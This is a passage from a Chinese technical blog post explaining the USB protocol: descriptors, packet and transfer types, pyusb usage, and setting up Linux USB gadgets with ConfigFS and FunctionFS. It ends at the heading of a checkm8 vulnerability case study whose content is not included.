&lt;li&gt;11: Interrupt&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Bit 2-7: 对非 Isochronous 端点来说是保留位，对 Isochronous 端点而言表示 Synchronisation Type 和 Usage Type，不赘述；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;每种端点类型对应一种传输类型，详见后文。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zi-fu-chuan-miao-shu&quot;&gt;字符串描述&lt;&#x2F;h3&gt;
&lt;p&gt;字符串描述符(String Descriptor)中包含了可选的可读字符串信息，如果没提供，则前文所述的字符串索引应该都设置为0，字符串表结构如下:&lt;&#x2F;p&gt;
&lt;p&gt;c&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;* USB_DT_STRING: String descriptor *&amp;#x2F;
struct usb_string_descriptor {
	__u8  bLength;
	__u8  bDescriptorType; &amp;#x2F;&amp;#x2F; 0x03

	__le16 wData[1];		&amp;#x2F;* UTF-16LE encoded *&amp;#x2F;
} __attribute__ ((packed));

&amp;#x2F;* note that &amp;quot;string&amp;quot; zero is special, it holds language codes that
 * the device supports, not Unicode characters.
 *&amp;#x2F;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;字符串表中的字符都以 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.unicode.org&#x2F;&quot;&gt;Unicode&lt;&#x2F;a&gt; 格式编码，并且可以支持多种语言。0号字符串表较为特殊，其中 wData 包含一组所支持的语言代码，每个语言码为 2 字节，例如 0x0409 表示英文。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chuan-shu&quot;&gt;传输&lt;&#x2F;h2&gt;
&lt;p&gt;不像 RS-232 和其他类似的串口协议，USB 实际上由多层协议构造而成，不过大部分底层的协议都在 Controller 端上的硬件或者固件进行处理了，最终开发者所要关心的只有上层协议。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;usb-packet&quot;&gt;USB Packet&lt;&#x2F;h3&gt;
&lt;p&gt;在 HCI 之下，实际传输的数据包称为 Packet，每次上层 USB 传输都会涉及到 2-3 次底层的 Packet 传输，分别是:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Token Packet: 总是由主机发起，指示一次新的传输或者事件&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;In: 告诉 USB 设备，主机我想要读点信息&lt;&#x2F;li&gt;
&lt;li&gt;Out: 告诉 USB 设备，主机我想要写点信息&lt;&#x2F;li&gt;
&lt;li&gt;Setup: 用于开始 Control Transfer&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Data Packet: 可选，表示传输的数据，可以是主机发送到设备，也可以是设备发送到主机&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Data0&lt;&#x2F;li&gt;
&lt;li&gt;Data1&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Status Packet: 状态包，用于响应传输，以及提供纠错功能&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Handshake Packets: ACK&#x2F;NAK&#x2F;STALL&lt;&#x2F;li&gt;
&lt;li&gt;Start of Frame Packets&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;transfer&quot;&gt;Transfer&lt;&#x2F;h3&gt;
&lt;p&gt;基于这些底层包，USB 协议定义了四种不同的传输类型，分别对应上节中的四种端点类型，分别是:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Control Transfers&lt;&#x2F;strong&gt;: 主要用来发送状态和命令，比如用来请求设备、配置等描述以及选择和设置指定的描述符。只有控制端点是双向的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Interrupt Transfers&lt;&#x2F;strong&gt;: 由于 USB 协议是主机主导的，设备端的中断信息需要被及时响应，就要用到中断传输，其提供了有保证的延迟以及错误检测和重传功能。中断传输通常是非周期性的，并且传输过程保留部分带宽，常用于时间敏感的数据，比如键盘、鼠标等 HID 设备。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Isochronous Transfers&lt;&#x2F;strong&gt;: 等时传输，如其名字所言，该类传输是连续和周期性的，通常包含时间敏感的信息，比如音频或视频流。因此这类传输不保证到达，即没有 ACK 响应。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Bulk Transfers&lt;&#x2F;strong&gt;: 用于传输大块的突发数据(小块也可以)，不保留带宽。提供了错误校验(CRC16)和重传机制来保证传输数据的完整性。块传输只支持高速&#x2F;全速模式。&lt;&#x2F;p&gt;
&lt;p&gt;这里以控制传输(Control Transfers)为例，来看看底层 Packet 如何组成一次完整的传输。控制传输实际上又可能最多包含三个阶段，每个阶段在应用层可以看成是一次 “USB 传输” (在Wireshark中占一行)，分别是:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Setup Stage: 主机发送到设备的请求，包含三次底层数据传输&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Setup  Token Packet: 指定地址和端点号(应为0)&lt;&#x2F;li&gt;
&lt;li&gt;Data0 Packet: 请求数据，假设是 8 字节的 &lt;code&gt;Device Descriptor Request&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;ACK Handshake Packet: 设备的响应， 不允许用 STALL 或者 NAK 来响应 Setup Packet&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Data Stage: 可选阶段，包含一个或者多个 IN&#x2F;OUT 传输，以 IN 为例，也包含三次传输&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;IN Token Packet: 表示主机端要从设备端读数据&lt;&#x2F;li&gt;
&lt;li&gt;Datax Packet: 如果上面 Setup Stage 是 &lt;code&gt;Device Descriptor Request&lt;&#x2F;code&gt;， 这里返回 &lt;code&gt;Device Descriptor Response&lt;&#x2F;code&gt; (的前8字节，然后再根据实际长度再 IN 一次)。&lt;&#x2F;li&gt;
&lt;li&gt;ACK&#x2F;STALL&#x2F;NAK Status Packet&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Status Stage: 报告本次请求的状态，底层也是三次传输，但是和方向有关:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;如果在 Data Stage 发送的是 IN Token，则该阶段包括:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;OUT Token&lt;&#x2F;li&gt;
&lt;li&gt;Data0 ZLP(zero length packet): 主机发送长度为0的数据&lt;&#x2F;li&gt;
&lt;li&gt;ACK&#x2F;NACK&#x2F;STALL: 设备返回给主机&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果在 Data Stage 发送的是 OUT Token，则该阶段包括:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;IN Token&lt;&#x2F;li&gt;
&lt;li&gt;Data0 ZLP: 设备发送给主机，表示正常完成，否则发送 NACK&#x2F;STALL&lt;&#x2F;li&gt;
&lt;li&gt;ACK: 如果是 ZLP，主机响应设备，双向确认&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;每个阶段的数据都有自己的格式，例如 Setup Stage 的 Request，即 Data0 部分发送的 8 字节数据结构如下:&lt;&#x2F;p&gt;
&lt;p&gt;c&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;struct usb_ctrlrequest {
	__u8 bRequestType; &amp;#x2F;&amp;#x2F; 对应 USB 协议中的 bmRequestType，包含请求的方向、类型和指定接受者
	__u8 bRequest; &amp;#x2F;&amp;#x2F; 决定所要执行的请求
	__le16 wValue; &amp;#x2F;&amp;#x2F; 请求参数
	__le16 wIndex; &amp;#x2F;&amp;#x2F; 同上
	__le16 wLength; &amp;#x2F;&amp;#x2F; 如果请求包含 Data Stage，则指定数据的长度
} __attribute__ ((packed));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;下面是一些标准请求的示例:&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;bmRequestType&lt;&#x2F;th&gt;&lt;th&gt;bRequest&lt;&#x2F;th&gt;&lt;th&gt;wValue&lt;&#x2F;th&gt;&lt;th&gt;wIndex&lt;&#x2F;th&gt;&lt;th&gt;wLength&lt;&#x2F;th&gt;&lt;th&gt;Data&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1000 0000b&lt;&#x2F;td&gt;&lt;td&gt;GET_STATUS (0x00)&lt;&#x2F;td&gt;&lt;td&gt;Zero&lt;&#x2F;td&gt;&lt;td&gt;Zero&lt;&#x2F;td&gt;&lt;td&gt;Two&lt;&#x2F;td&gt;&lt;td&gt;Device Status&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;0000 0000b&lt;&#x2F;td&gt;&lt;td&gt;CLEAR_FEATURE (0x01)&lt;&#x2F;td&gt;&lt;td&gt;Feature Selector&lt;&#x2F;td&gt;&lt;td&gt;Zero&lt;&#x2F;td&gt;&lt;td&gt;Zero&lt;&#x2F;td&gt;&lt;td&gt;None&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;0000 0000b&lt;&#x2F;td&gt;&lt;td&gt;SET_FEATURE (0x03)&lt;&#x2F;td&gt;&lt;td&gt;Feature Selector&lt;&#x2F;td&gt;&lt;td&gt;Zero&lt;&#x2F;td&gt;&lt;td&gt;Zero&lt;&#x2F;td&gt;&lt;td&gt;None&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;0000 0000b&lt;&#x2F;td&gt;&lt;td&gt;SET_ADDRESS (0x05)&lt;&#x2F;td&gt;&lt;td&gt;Device Address&lt;&#x2F;td&gt;&lt;td&gt;Zero&lt;&#x2F;td&gt;&lt;td&gt;Zero&lt;&#x2F;td&gt;&lt;td&gt;None&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;1000 0000b&lt;&#x2F;td&gt;&lt;td&gt;GET_DESCRIPTOR (0x06)&lt;&#x2F;td&gt;&lt;td&gt;Descriptor Type &amp;amp; Index&lt;&#x2F;td&gt;&lt;td&gt;Zero or Language ID&lt;&#x2F;td&gt;&lt;td&gt;Descriptor Length&lt;&#x2F;td&gt;&lt;td&gt;Descriptor&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;0000 0000b&lt;&#x2F;td&gt;&lt;td&gt;SET_DESCRIPTOR (0x07)&lt;&#x2F;td&gt;&lt;td&gt;Descriptor Type &amp;amp; Index&lt;&#x2F;td&gt;&lt;td&gt;Zero or Language ID&lt;&#x2F;td&gt;&lt;td&gt;Descriptor Length&lt;&#x2F;td&gt;&lt;td&gt;Descriptor&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;1000 0000b&lt;&#x2F;td&gt;&lt;td&gt;GET_CONFIGURATION (0x08)&lt;&#x2F;td&gt;&lt;td&gt;Zero&lt;&#x2F;td&gt;&lt;td&gt;Zero&lt;&#x2F;td&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;Configuration Value&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;0000 0000b&lt;&#x2F;td&gt;&lt;td&gt;SET_CONFIGURATION (0x09)&lt;&#x2F;td&gt;&lt;td&gt;Configuration Value&lt;&#x2F;td&gt;&lt;td&gt;Zero&lt;&#x2F;td&gt;&lt;td&gt;Zero&lt;&#x2F;td&gt;&lt;td&gt;None&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;blockquote&gt;
&lt;p&gt;ref: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.beyondlogic.org&#x2F;usbnutshell&#x2F;usb6.shtml&quot;&gt;https:&#x2F;&#x2F;www.beyondlogic.org&#x2F;usbnutshell&#x2F;usb6.shtml&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;虽然 HCI 之下传输的数据包大部分情况下对应用开发者透明，但是了解底层协议发生了什么也有助于加深我们对 USB 的理解，后文中介绍 checkm8 漏洞时候就用到了相关知识。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhu-ji-duan&quot;&gt;主机端&lt;&#x2F;h2&gt;
&lt;p&gt;在主机端能做的事情相对有限，主要是分析和使用对应的 USB 设备。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhua-bao-fen-xi&quot;&gt;抓包分析&lt;&#x2F;h2&gt;
&lt;p&gt;使用 wireshark 可以分析 USB 流量，根据上面介绍的描述符字段以及 USB 传输过程进行对照，可以加深我们对 USB 协议的理解。如下是对某个安卓设备的 &lt;em&gt;Device Descriptor Response&lt;&#x2F;em&gt; 响应:&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] Wireshark 抓包的 USB 设备描述符：bLength=18；bDescriptorType=0x01（DEVICE）；bcdUSB=0x0200；bDeviceClass=0x00（类信息由接口描述符给出）；bMaxPacketSize0=64；idVendor=Qualcomm (0x05c6)；idProduct=Gobi Wireless Modem (0x9008)；iManufacturer=1、iProduct=2；bNumConfigurations=1。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;也就是所谓安卓变砖恢复时经常用到的高通 9008 模式。说个题外话，最近对于高通芯片 BootROM 的研究发现了一些有趣的东西，后面可能会另外分享，Stay Tune！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ying-yong-kai-fa&quot;&gt;应用开发&lt;&#x2F;h2&gt;
&lt;p&gt;对于应用开发者而言，通常是使用封装好的库，早期只有 libusb，后来更新了 libusb1.0，早期的版本变成 libusb0.1，然后又有了 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;sourceforge.net&#x2F;p&#x2F;openusb&#x2F;wiki&#x2F;Home&#x2F;&quot;&gt;OpenUSB&lt;&#x2F;a&gt; 和其他的 USB 库。但不管用哪个库，调用的流程都是大同小异的。以 Python 的封装 pyusb 为例，官方给的示例如下:&lt;&#x2F;p&gt;
&lt;p&gt;python&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;import usb.core
import usb.util

# find our device
dev = usb.core.find(idVendor=0xfffe, idProduct=0x0001)

# was it found?
if dev is None:
    raise ValueError(&amp;#x27;Device not found&amp;#x27;)

# set the active configuration. With no arguments, the first
# configuration will be the active one
dev.set_configuration()

# get an endpoint instance
cfg = dev.get_active_configuration()
intf = cfg[(0,0)]

ep = usb.util.find_descriptor(
    intf,
    # match the first OUT endpoint
    custom_match = \
    lambda e: \
        usb.util.endpoint_direction(e.bEndpointAddress) == \
        usb.util.ENDPOINT_OUT)

assert ep is not None

# write the data
ep.write(&amp;#x27;test&amp;#x27;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;总的来说分为几步，&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;根据设备描述符查找到指定的设备&lt;&#x2F;li&gt;
&lt;li&gt;获取该设备的配置描述符，选择并激活其中一个&lt;&#x2F;li&gt;
&lt;li&gt;在指定的配置中查找接口和端点描述符&lt;&#x2F;li&gt;
&lt;li&gt;使用端点描述符进行数据传输&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;如果不清楚 USB 的工作原理，会觉得上面代码的调用流程很奇怪，往 USB 上读写数据需要那么复杂吗？但正是因为 USB 协议的高度拓展性，才得以支持这么多种类的外设，从而流行至今。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;she-bei-duan&quot;&gt;设备端&lt;&#x2F;h2&gt;
&lt;p&gt;对于想要开发设备端 USB 功能的开发者而言，使用最广泛的要数&lt;strong&gt;树莓派 Zero&lt;&#x2F;strong&gt;了，毕竟这是树莓派系列中唯一支持 USB OTG 的型号。网上已经有很多资料教我们如何将树莓派 Zero 配置成 USB 键盘、打印机、网卡等 USB 设备的教程。当然使用其他硬件也是可以的，配置自定义的 USB 设备端可以让我们做很多有趣的事情，比如网卡中间人或者 Bad USB 这种近源渗透方式。后文中我们会使用 Zero 进行简单测试。&lt;&#x2F;p&gt;
&lt;p&gt;一些相关的配置资料可以参考:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;RoganDawes&#x2F;P4wnP1&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;RoganDawes&#x2F;P4wnP1&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.rmedgar.com&#x2F;blog&#x2F;using-rpi-zero-as-keyboard-setup-and-device-definition&quot;&gt;Using RPi Zero as a Keyboard&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;nei-he-qu-dong&quot;&gt;内核驱动&lt;&#x2F;h2&gt;
&lt;p&gt;在介绍应用之间，我们先看看内核的实现。还是以 Linux 内核为例，具体来说，我们想了解如何通过添加内核模块的方式实现一个新的自定义 USB 设备。俗话说得好，添加 Linux 驱动的最好方式是参看现有的驱动，毕竟当前内核中大部分都是驱动代码。&lt;&#x2F;p&gt;
&lt;p&gt;因为 Linux 内核既能运行在主机端，也能运行在设备端，因此设备端的 USB 驱动有个不同的名字: &lt;strong&gt;gadget&lt;&#x2F;strong&gt; driver。对于不同设备，也提供不同的内核接口，即 Host-Side API 和 Gadget API。既然我们是想实现自己的设备，就需要从 gadget 驱动入手。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;g_zero.ko&lt;&#x2F;code&gt; 就是这么一个驱动，代码在 &lt;em&gt;drivers&#x2F;usb&#x2F;gadget&#x2F;legacy&#x2F;zero.c&lt;&#x2F;em&gt;。该驱动实现了一个简单的 USB 设备，包含 2 个配置描述，各包含 1 个功能，分别是 sink 和 loopback，前者接收数据并返回 0，后者接收数据并原样返回:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;drivers&#x2F;usb&#x2F;gadget&#x2F;function&#x2F;f_sourcesink.c&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;drivers&#x2F;usb&#x2F;gadget&#x2F;function&#x2F;f_loopback.c&lt;&#x2F;em&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;代码量不多，感兴趣的自行 RTFSC。另外值得一提的是，对于运行于 USB device 端的系统而言，内核中至少有三个层级处理 USB 协议，可能用户层还有更多。gadget API 属于三层的中间层。至底向上，三层分别是:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;em&gt;USB Controller Driver&lt;&#x2F;em&gt;: 这是软件的最底层，通过寄存器、FIFO、DMA、IRQ 等其他手段直接和硬件打交道，通常称为 &lt;code&gt;UDC&lt;&#x2F;code&gt; (USB Device Controller) Driver。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;Gadget Driver&lt;&#x2F;em&gt;: 作为承上启下的部分，通过调用抽象的 UDC 驱动接口，底层实现了硬件无关的 USB function。主要用于实现前面提到的 USB 功能，包括处理 setup packet (ep0)、返回各类描述符、处理各类修改配置情况、处理各类 USB 事件以及 IN&#x2F;OUT 的传输等等。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;Upper Level&lt;&#x2F;em&gt;: 通过 Gadget Driver 抽象的接口，实现基于 USB 协议的上层应用，比如 USB 网卡、声卡、文件存储、HID 设备等。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;关于 Linux USB 子系统的详细设计结构，可以参考源码中的文档: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.kernel.org&#x2F;doc&#x2F;html&#x2F;v4.18&#x2F;driver-api&#x2F;usb&#x2F;index.html&quot;&gt;Linux USB API&lt;&#x2F;a&gt;，以及其他一些资料，如下所示:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bootlin.com&#x2F;doc&#x2F;legacy&#x2F;linux-usb&#x2F;linux-usb.pdf&quot;&gt;https:&#x2F;&#x2F;bootlin.com&#x2F;doc&#x2F;legacy&#x2F;linux-usb&#x2F;linux-usb.pdf&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;static.lwn.net&#x2F;images&#x2F;pdf&#x2F;LDD3&#x2F;ch13.pdf&quot;&gt;https:&#x2F;&#x2F;static.lwn.net&#x2F;images&#x2F;pdf&#x2F;LDD3&#x2F;ch13.pdf&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;elinux.org&#x2F;images&#x2F;5&#x2F;5e&#x2F;Opasiak.pdf&quot;&gt;https:&#x2F;&#x2F;elinux.org&#x2F;images&#x2F;5&#x2F;5e&#x2F;Opasiak.pdf&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;gadgetfs-configfs&quot;&gt;GadgetFS&#x2F;ConfigFS&lt;&#x2F;h2&gt;
&lt;p&gt;参考现有的 Linux 驱动，依葫芦画瓢可以很容易实现一个自定义的 USB Gadget。但是这样存在一些问题，如果我想实现一个八声道的麦克风，还要重新写一遍驱动、编译、安装，明明内核中麦克风的功能已经有了，复制粘贴就显得很不优雅。&lt;&#x2F;p&gt;
&lt;p&gt;那么，有没有什么办法可以方便组合和复用现有的 gadget function 呢？在 Linux 3.11 中，引入了 USB Gadget ConfigFS，提供了用户态的 API 来方便创建新的 USB 设备，并可以组合复用现有内核中的驱动。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] Linux&#x2F;arm 4.4.0-rc8 menuconfig：USB Gadget Drivers（经 configfs 配置 function）选为内置 &amp;lt;&lt;em&gt;&amp;gt;，勾选各 function [&lt;&#x2F;em&gt;]：serial bulk、CDC ACM&#x2F;OBEX&#x2F;NCM&#x2F;ECM（含 subset）、RNDIS、EEM、Mass storage、Loopback、FunctionFS、Audio Class 1.0&#x2F;2.0、MIDI、HID、Webcam、Printer。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;前文提到的基于树莓派 Zero 实现的各类 USB 设备，大部分都是基于 Gadget ConfigFS 接口实现的。基于 configfs 创建 USB gadget 的步骤一般如下:&lt;&#x2F;p&gt;
&lt;p&gt;sh&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;CONFIGFS_HOME=&amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;config&amp;#x2F;usb_gadget

# 1. 新建一个 gadget，并写入实际的设备描述
mkdir $CONFIGFS_HOME&amp;#x2F;mydev # 创建设备目录后，该目录下自动创建并初始化了一个设备模板
cd $CONFIGFS_HOME&amp;#x2F;mydev
echo 0x0100 &amp;gt; bcdDevice # Version 1.0.0
echo 0x0200 &amp;gt; bcdUSB # USB 2.0
echo 0x00 &amp;gt; bDeviceClass
echo 0x00 &amp;gt; bDeviceProtocol
echo 0x40 &amp;gt; bMaxPacketSize0
echo 0x0104 &amp;gt; idProduct # Multifunction Composite Gadget
echo 0x1d6b &amp;gt; idVendor # Linux Foundation

# 2. 新建一个配置，并写入实际的配置描述
mkdir configs&amp;#x2F;c.1 # 创建一个配置实例: &amp;lt;config name&amp;gt;.&amp;lt;config number&amp;gt;
cd configs&amp;#x2F;c.1
echo 0x01 &amp;gt; MaxPower
echo 0x80 &amp;gt; bmAttributes

# 3. 新建一个接口(function)，或者将已有接口链接到当前配置下
cd $CONFIGFS_HOME&amp;#x2F;mydev
mkdir functions&amp;#x2F;hid.usb0 # 创建一个 function 实例: &amp;lt;function type&amp;gt;.&amp;lt;instance name&amp;gt;
echo 1 &amp;gt; functions&amp;#x2F;hid.usb0&amp;#x2F;protocol
echo 8 &amp;gt; functions&amp;#x2F;hid.usb0&amp;#x2F;report_length # 8-byte reports
echo 1 &amp;gt; functions&amp;#x2F;hid.usb0&amp;#x2F;subclass
ln -s functions&amp;#x2F;hid.usb0 configs&amp;#x2F;c.1

# 4. 将当前 USB 设备绑定到 UDC 驱动中
echo ls &amp;#x2F;sys&amp;#x2F;class&amp;#x2F;udc &amp;gt; $CONFIGFS_HOME&amp;#x2F;mydev&amp;#x2F;UDC
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样就实现了一个最简单的 USB gadget，当然要完整实现的话还可以添加字符串描述，以及增加各个端点的功能。使用 configfs 实现一个 USB 键盘的示例可以参考网上其他文章，比如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.rmedgar.com&#x2F;blog&#x2F;using-rpi-zero-as-keyboard-setup-and-device-definition&#x2F;&quot;&gt;Using RPi Zero as a Keyboard&lt;&#x2F;a&gt;，或者 Github 上的开源项目，比如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;RoganDawes&#x2F;P4wnP1&quot;&gt;P4wnP1&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;有些人觉得 ConfigFS 配置起来很繁琐，所以开发了一些函数库(如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;libusbgx&#x2F;libusbgx&quot;&gt;libusbgx&lt;&#x2F;a&gt;) 来通过调用创建 gadget；有人觉得通过函数操作也还是繁琐，就创建了一些工具(如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;kopasiak&#x2F;gt&quot;&gt;gt&lt;&#x2F;a&gt;) 来通过处理一个类似于 libconfig 的配置文件直接创建 gadget，不过笔者用得不多。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;functionfs&quot;&gt;FunctionFS&lt;&#x2F;h2&gt;
&lt;p&gt;FunctionFS 最初是对 GadgetFS 的重写，用于支持实现用户态的 gadget function，并组合到现有设备中。这里说的 FunctionFS 实际上是新版基于 ConfigFS 的 GadgetFS 拓展。在上一节中说到创建设备 gadget 的第四步就是给对应的 configuration 添加 function，格式为 &lt;strong&gt;function—type.instance-name&lt;&#x2F;strong&gt;，type 对应一个已有的内核驱动，比如上节中是 &lt;code&gt;hid&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;如果要使用当前内核中没有的 function 实现自定义的功能，那么内核还提供了一个驱动可以方便在用户态创建接口，该驱动就是 ffs 即 FunctionFS。使用 ffs 的方式也很简单，将上面第三步替换为:&lt;&#x2F;p&gt;
&lt;p&gt;sh&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cd $CONFIGFS_HOME&amp;#x2F;mydev
mkdir functions&amp;#x2F;ffs.usb0
ln -s functions&amp;#x2F;ffs.usb0 configs&amp;#x2F;c.1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;创建一个类型为 ffs，名称为 usb0 的function，然后挂载到任意目录:&lt;&#x2F;p&gt;
&lt;p&gt;sh&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cd &amp;#x2F;mnt
mount usb0 ffs -t functionfs
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;挂载完后， &lt;em&gt;&#x2F;mnt&#x2F;ffs&#x2F;&lt;&#x2F;em&gt;  目录下就已经有了一个 ep0 文件，如名字所言正是 USB 设备的零端点，用于收发 Controller Transfer 数据以及各类事件。在该目录中可以创建其他的端点，并使用类似文件读写的操作去实现端点的读写，内核源码中提供了一个用户态应用示例，代码在 &lt;em&gt;tools&#x2F;usb&#x2F;ffs-test.c&lt;&#x2F;em&gt;。如果嫌 C 代码写起来复杂，还可以使用 Python 编写 ffs 实现，比如 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;vpelletier&#x2F;python-functionfs&quot;&gt;python-functionfs&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;an-li-fen-xi-checkm8-lou-dong&quot;&gt;案例分析: checkm8 漏洞&lt;&#x2F;h2&gt;
